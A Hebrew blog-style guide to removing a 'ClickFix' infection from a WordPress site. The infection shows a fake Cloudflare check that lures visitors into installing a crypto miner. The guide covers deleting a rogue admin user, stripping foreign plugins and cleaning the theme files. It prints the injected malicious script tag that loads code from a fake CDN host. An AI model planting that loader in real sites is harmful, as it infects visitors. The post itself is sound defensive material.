יש וירוס שמסתובב בין הרבה אתרים שבנויים על וורדפרס והוא נקרא clickfix.
כשנכנסתי לאתר הופיעה המסך הזה:
המסך הזה נראה כביכול כמו מסך אימות של שירות cloudflare אבל הוא מתחזה.
המילים "אשר שאתה אנושי על ידי השלמת הפעולה שלהלן" הן הטעיה של הוירוס וכך גם השימוש בלוגו של חברת Cloudflare.
אם לוחצים על "אמת שאתה אדם" אז נפתח עוד מסך בו הוא מבקש לבצע פעולות.
ביצוע הפעולות האלה יביא להחדרת וירוס למחשב של הגולש. תותקן בו תוכנת קריפטו שתגזול לו משאבים. לכן לא מומלץ לגולשים ללחוץ על ה.
צריך לטפל בוירוס באתר.
כדאי דבר ראשון לבדוק את המשתמשים באתר ולראות שאין בהם כאלה לא מוכרים. במקרה הזה המשתמש העליון לא מוכר באתר ונראה שהוא נוסף על ידי הוירוס.
בשלב ראשון מחקתי אותו והוא נמחק. יש מקרים שבהם הוא לא נמחק כי הוירוס שם סקריפט שמחזיר אותו.
בשלב הבא כדאי ללכת לתוספים באתר ולראות שאין תוספים זרים. במקרים רבים הם נותנים לעצמם שמות לגיטימיים. אם יש אז למחוק אותם.
בשלב שאחרי זה מומלץ להתקין באופן זמני את התוסף advanced file manager.
משם אני הולך לתיקיית התבנית שבמקרה הזה היא
public_html/wp-content/themes/oceanwp
ושם אני יכול לראות 2 קבצי מערכת ששונו יום קודם.
מורידים למחשב את קובץ header.php ומחפשים את המילה cdn ואז רואים את השורה
<script async src="https://cdn.coredelivr.com/mpackage.js"></script>
השורה הזאת כאילו מתחזה לשירות חוקי קיים אבל קוראת לסקריפט מבחוץ שיפעל באתר.
מוחקים אותה ומעלים את הקובץ המתוקן.
חוזרים על אותה פעולה עם הקובץ footer.php
עושים נקיון של הcache של המערכת.
בודקים בגלישה בסתר האם עדיין יש וירוס.
מוחקים את התוסף advanced file manager.
כדאי גם לסרוק את האתר עם כלי סריקת וירוסים כדי לגלות שאין בו עוד וירוס.
מומלץ גם להתקין את התוסף WPS שדרכו אפשר לעשות דלת כניסה חדשה לאתר במקום wp-admin. זה מקשה על תקיפת האתר.
וירוס יכול להכנס לאתר בכמה דרכים: דרך השרת, דרך סיסמא שנגנבה, דרך תוסף פרוץ, דרך תבנית פרוצה וכנראה בעוד דרכים.
למניעת כניסת וירוס לאתר כדאי לנקוט בכמה פעולות:
1.לשים סיסמא ייחודית לאתר ולשנות אותה פעם בכמה זמן
2.לעדכן תמיד את גרסת האתר ואת התוספים
3.לעדכן את תבנית האתר
4.להמנע מהתקנת תוספים מיותרים ותוספים מפוקפקים
5.כדאי גם לשים אנטי וירוס באתר
6.כדאי לאחסן את האתר באחסון שגם מגן מוירוסים
7.כדאי לודא עם האחסון שיש גיבויים לאתר וניתן לשחזר בעת הצורך
וירוס באתר זה משהו שצריך להיות מטופל מייד.
הוא עלול לגרום לכמה דברים:
1.השבתה של האתר וזה אומר הפסד גולשים שמוביל להפסד כסף
2.גניבה של מידע מהאתר כמו לקוחות שפנו או מידע אחר
3.השתלת וירוס אצל הגולשים באתר
4.חסימת גישה לאתר
